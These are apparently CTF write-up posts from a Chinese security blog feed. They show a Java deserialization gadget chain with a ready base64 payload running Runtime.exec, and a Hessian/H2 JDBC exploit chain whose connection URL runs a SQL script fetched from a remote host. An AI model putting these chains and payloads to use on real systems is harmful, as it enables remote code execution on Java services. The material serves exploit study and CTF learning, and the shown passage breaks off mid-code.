unsafe.allocateInstance(X509CertPath.class);  </span><br><span class="line">        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField(<span class="string">&quot;certs&quot;</span>)), decorate);  </span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> unsafe.allocateInstance(CodeSigner.class);  </span><br><span class="line">        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField(<span class="string">&quot;signerCertPath&quot;</span>)), o);  </span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">list2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();  </span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">manager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();  </span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) getFieldValue(manager, <span class="string">&quot;edits&quot;</span>);  </span><br><span class="line">        vector.add(o1);  </span><br><span class="line">        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField(<span class="string">&quot;listenerList&quot;</span>)),<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, manager&#125;);  </span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();  </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(bao).writeObject(list2);  </span><br><span class="line">        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));  </span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bao.toByteArray());  </span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bin).readObject();  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getFieldValue</span><span class="params">(Object obj, String fieldName)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> getField(obj.getClass(), fieldName);  </span><br><span class="line">        <span class="keyword">return</span> field.get(obj);  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Field <span class="title function_">getField</span><span class="params">(Class&lt;?&gt; clazz, String fieldName)</span> &#123;  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> <span class="literal">null</span>;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            field = clazz.getDeclaredField(fieldName);  </span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        &#125; <span class="keyword">catch</span> (NoSuchFieldException var4) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (clazz.getSuperclass() != <span class="literal">null</span>) &#123;  </span><br><span class="line">                field = getField(clazz.getSuperclass(), fieldName);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">return</span> field;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将base64编码内容，序列化<br><img src="https://raw.githubusercontent.com/yezere/images/master/4dcf408d-1377-435e-ae9c-ec8807f75697.gif"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.web;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] decode = Base64.getDecoder().decode(s);</span><br><span class="line">        System.out.println(<span class="keyword">new</span> <span class="title class_">String</span>(decode));</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">byteArrayInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(decode);</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(byteArrayInputStream).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240415174622.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;所用到的类java原生类和common-collections类&lt;br&gt;&lt;img src=&quot;https://raw.githubusercontent.com/yezere/images/master/cc.jpg&quot;&gt;&lt;br&gt;jdk版本是&lt;br&gt;jdk1.8.0_162&lt;b</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="ctf-trick" scheme="https://www.n1ght.cn/tags/ctf-trick/"/>
    
  </entry>
  
  <entry>
    <title>2024阿里云ctf-web-chain17</title>
    <link href="https://www.n1ght.cn/2024/04/12/2024%E9%98%BF%E9%87%8C%E4%BA%91ctf-web-chain17%E5%AD%A6%E4%B9%A0/"/>
    <id>https://www.n1ght.cn/2024/04/12/2024%E9%98%BF%E9%87%8C%E4%BA%91ctf-web-chain17%E5%AD%A6%E4%B9%A0/</id>
    <published>2024-04-12T11:30:23.000Z</published>
    <updated>2024-04-13T10:42:29.486Z</updated>
    
    <content type="html"><![CDATA[<h2 id="agent"><a href="#agent" class="headerlink" title="agent"></a>agent</h2><p>jdk17依赖有h2思路清晰打jdbc attack</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">  </span><br><span class="line"><span class="comment">&lt;!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite --&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hessian-lite<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.13<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">  </span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.hutool<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hutool-all<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.8.16<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">  </span><br><span class="line"><span class="comment">&lt;!-- https://mvnrepository.com/artifact/com.h2database/h2 --&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.h2database<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>h2<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.2.224<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>项目<br><a href="https://github.com/yezere/Deserial_Sink_With_JDBC">Deserial_Sink_With_JDBC</a><br><a href="https://github.com/yezere/JDBC-Attack">jdbc-attack</a><br>fork了一个师傅的github<br>发现没有<br><a href="https://su18.org/post/jdbc-connection-url-attack/">su18</a></p><blockquote><p>H2 RCE<br>Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.<br>jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT&#x3D;3;INIT&#x3D;RUNSCRIPT FROM ‘<a href="http://127.0.0.1:8000/poc.sql">http://127.0.0.1:8000/poc.sql</a>‘<br>And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():<br>CREATE ALIAS EXEC AS ‘String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return “su18”;}’;CALL EXEC (‘open -a Calculator.app’)<br>看到了h2 rce</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">connectionUrl</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://127.0.0.1:8001/poc.sql&#x27;&quot;</span>;  </span><br><span class="line"><span class="comment">// getConnection 触发漏洞  </span></span><br><span class="line"><span class="type">Connection</span> <span class="variable">connection</span> <span class="operator">=</span> DriverManager.getConnection(connectionUrl);  </span><br><span class="line">connection.close();</span><br></pre></td></tr></table></figure><p>安装h2数据库<br><a href="https://www.h2database.com/html/main.html">h2数据库</a><br>python -m http.server 8001</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> ALIAS <span class="keyword">EXEC</span> <span class="keyword">AS</span> <span class="string">&#x27;String shellexec(String cmd) throws java.io.IOException &#123;Runtime.getRuntime().exec(cmd);return &quot;su18&quot;;&#125;&#x27;</span>;<span class="keyword">CALL</span> <span class="keyword">EXEC</span> (<span class="string">&#x27;calc&#x27;</span>)</span><br></pre></td></tr></table></figure><p>可以拿到calc<br>使用codeql查询sink<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410201622.png"><br>使用尝试<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410201804.png"><br>还有一个把cn.h2%修改为cn.hutool%，找到<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410202318.png"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410202341.png"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">connectionUrl</span> <span class="operator">=</span> <span class="string">&quot;jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM &#x27;http://127.0.0.1:8001/poc.sql&#x27;&quot;</span>;</span><br><span class="line"><span class="type">Setting</span> <span class="variable">setting</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Setting</span>();</span><br><span class="line">setting.setCharset(<span class="literal">null</span>);</span><br><span class="line">setting.set(<span class="string">&quot;url&quot;</span>,connectionUrl);</span><br><span class="line"><span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> UnSafeTools.getUnsafe();</span><br><span class="line"><span class="type">PooledDSFactory</span> <span class="variable">pooledDSFactory</span> <span class="operator">=</span> (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);</span><br><span class="line">UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;setting&quot;</span>),setting);</span><br><span class="line">UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;dsMap&quot;</span>),<span class="keyword">new</span> <span class="title class_">SafeConcurrentHashMap</span>&lt;&gt;());</span><br></pre></td></tr></table></figure><p>这样就查找能触发到toString的类来触发jackson的getter去调用getConnection<br>由于是hessian反序列化会触发map的put方法，<br>我们寻找一条到pojonode#toString的链子， 但是Hessian 的反序列化受module的影响，但是原生的反序列化并不受module 的影响，所以hessian后面就要用到Bean的原生反序列化了<br>发现codeql显示能调用到但是<br><img src="https://raw.githubusercontent.com/yezere/images/master/Snipaste_2024-04-01_22-31-20.png"><br>有限制，我们查找不继承这些接口的toString能触发pojonode#toString的方法，而且必须是jdk原生类<br>不然这个就满足了MutableObj<br>String#valueof和Object都满足<br>这样即可找到<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240412191937.png"><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240402010547.png"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240402010642.png"><br>确实可以触发<br>所以就是hessian2#readObject-&gt;AtomicReference#toString-&gt;String#valueof-&gt;POJONode#toString-&gt;h2的jdbc attack<br>使用codeql查找<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240410212310.png"></p><p>hessian反序列化漏洞，是map反序列化，当他的_type不是null，且不是map和sortedMap时候，调用构造函数实例化<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331115802.png"><br>这时候生成了一个JSONObject变量，但是值为空<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331120255.png"><br>可以看到map将值put进去了两次反序列化<br>所以我们可以理解为，第一段Hessian2先创建一个JSONObject，<br>然后将两次反序列化的值作为key和value值<br>如何指定hessian2创建JSONObject呢<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331121046.png"><br>hessian2反序列化的序列化函数可以传入指定类型进去，并且设置<code>this.buffer[this.offset++]</code>是77这样反序列化的时候就会获取_type值为77<br>但是writeType有条件限制</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">writeType</span><span class="params">(String type)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="built_in">this</span>.flushIfFull();  </span><br><span class="line">    <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> type.length();  </span><br><span class="line">    <span class="keyword">if</span> (len == <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">&quot;empty type is not allowed&quot;</span>);  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>._typeRefs == <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="built_in">this</span>._typeRefs = <span class="keyword">new</span> <span class="title class_">HashMap</span>();  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="type">Integer</span> <span class="variable">typeRefV</span> <span class="operator">=</span> (Integer)<span class="built_in">this</span>._typeRefs.get(type);  </span><br><span class="line">        <span class="keyword">if</span> (typeRefV != <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="type">int</span> <span class="variable">typeRef</span> <span class="operator">=</span> typeRefV;  </span><br><span class="line">            <span class="built_in">this</span>.writeInt(typeRef);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="built_in">this</span>._typeRefs.put(type, <span class="built_in">this</span>._typeRefs.size());  </span><br><span class="line">            <span class="built_in">this</span>.writeString(type);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331121432.png"><br>在HashMap里面push了一个type进去</p><p>这时候反序列化<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331122513.png"><br>调用了this.read()</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="type">int</span> <span class="title function_">read</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>._length &lt;= <span class="built_in">this</span>._offset &amp;&amp; !<span class="built_in">this</span>.readBuffer() ? -<span class="number">1</span> : <span class="built_in">this</span>._buffer[<span class="built_in">this</span>._offset++] &amp; <span class="number">255</span>;  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">readBuffer</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="type">byte</span>[] buffer = <span class="built_in">this</span>._buffer;  </span><br><span class="line">    <span class="type">int</span> <span class="variable">offset</span> <span class="operator">=</span> <span class="built_in">this</span>._offset;  </span><br><span class="line">    <span class="type">int</span> <span class="variable">length</span> <span class="operator">=</span> <span class="built_in">this</span>._length;  </span><br><span class="line">    <span class="keyword">if</span> (offset &lt; length) &#123;  </span><br><span class="line">        System.arraycopy(buffer, offset, buffer, <span class="number">0</span>, length - offset);  </span><br><span class="line">        offset = length - offset;  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        offset = <span class="number">0</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> <span class="built_in">this</span>._is.read(buffer, offset, <span class="number">256</span> - offset);  </span><br><span class="line">    <span class="keyword">if</span> (len &lt;= <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="built_in">this</span>._length = offset;  </span><br><span class="line">        <span class="built_in">this</span>._offset = <span class="number">0</span>;  </span><br><span class="line">        <span class="keyword">return</span> offset &gt; <span class="number">0</span>;  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="built_in">this</span>._length = offset + len;  </span><br><span class="line">        <span class="built_in">this</span>._offset = <span class="number">0</span>;  </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>读取缓冲区的值当this.readBuffer返回值为true的时候调用<br><code>this._buffer[this._offset++] &amp; 255;  </code><br>所以_offset这时候就为1<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331121525.png"><br>因为上面的writeBeginMap将tag设置为了77<br>通过readType读取<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331122057.png"><br>由于_offset为1，所以值是25<br>将offset-1，这时候offset读取就从2变成了1<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331122137.png"><br>在进入读取<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331122149.png"><br>这时候tag值就为25，_offset值就为2<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240331123150.png"><br>设置_sbuf的长度为0，设置_chunkLength长度为25，也就是cn.hutool.json.JSONObject的长度<br>所以后面就是从buf的25长度后面读25个字节，也就是把Type读出来cn.hutool.json.JSONObject<br>这时候我们知道如何指定type了，继续跟着往后面走</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="number">77</span>:  </span><br><span class="line">    type = <span class="built_in">this</span>.readType();  </span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.findSerializerFactory().readMap(<span class="built_in">this</span>, type);</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">readMap</span><span class="params">(AbstractHessianInput in, String type, Class&lt;?&gt; expectKeyType, Class&lt;?&gt; expectValueType)</span> <span class="keyword">throws</span> HessianProtocolException, IOException &#123;  </span><br><span class="line">    <span class="type">Deserializer</span> <span class="variable">deserializer</span> <span class="operator">=</span> <span class="built_in">this</span>.getDeserializer(type);  </span><br><span class="line">    <span class="keyword">if</span> (deserializer != <span class="literal">null</span>) &#123;  </span><br><span class="line">        <span class="keyword">return</span> deserializer.readMap(in);  </span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">this</span>._hashMapDeserializer != <span class="literal">null</span>) &#123;  </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">this</span>._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="built_in">this</span>._hashMapDeserializer = <span class="keyword">new</span> <span class="title 